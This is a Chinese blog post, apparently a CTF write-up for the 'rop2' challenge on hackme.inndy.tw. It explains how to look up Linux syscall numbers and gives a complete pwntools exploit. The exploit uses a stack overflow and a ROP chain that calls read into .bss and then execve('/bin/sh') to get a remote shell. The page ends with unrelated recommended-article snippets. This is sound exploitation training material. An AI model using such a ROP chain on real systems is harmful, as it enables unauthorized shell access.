ROP2

题目用了syscall来调用了write,read函数,可以查看一下调用号

locate unistd_32
//或者
locate unistd_64

随便查看其中一个文件就可以看到调用号了

所以栈溢出rop调用read函数往bss段写'/bin/sh'然后再syscall(11,'/bin/sh',0,0) 即execve('/bin/sh',0,0),这里要注意execve的第一个参数是'/bin/sh'的地址

objdump -d -j .plt rop2         可以查看文件可用的plt

exp:

from pwn import *

#p = process('./rop2')
p = remote('hackme.inndy.tw',7703)
p.recvuntil('ropchain:')

payload = 'a'* 0xc + 'aaaa'
syscall_plt = 0x08048320
pppp_ret = 0x08048578
bss = 0x0804A020
#gdb.attach(p)
payload += p32(syscall_plt) + p32(pppp_ret)
payload += p32(3) + p32(0) + p32(bss) + p32(8)
payload += p32(syscall_plt) + p32(0xdeadbeef)
payload += p32(11) + p32(bss) + p32(0) + p32(0)

p.sendline(payload)

p.send('/bin/sh\x00')

p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 题目来源:国外的一个ctf平台hackme rop hint: ROP buffer overflow防护机制: ...
    zs0zrc阅读 586评论 0 0
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,432评论 0 2
  • 暮野杂思 木笔 万绿一片沉水中,白纱轻笼更朦胧。问君知是烟与雾,村野人家乡味浓。 诗歌简介:这是一首七...
    梅雨苹风阅读 501评论 0 1
  • 方法:HTML5本地存储,即在A页面存储数据,然后在B页面获取localStorage存储的数据,localSto...
    天字一等阅读 1,292评论 0 0
  • 《千里江山图》为中国北宋青绿山水画作品。中国十大传世名画之一。作者王希孟。 王希孟(1096年—相传1119年),...
    寒潭野鹤阅读 1,197评论 0 0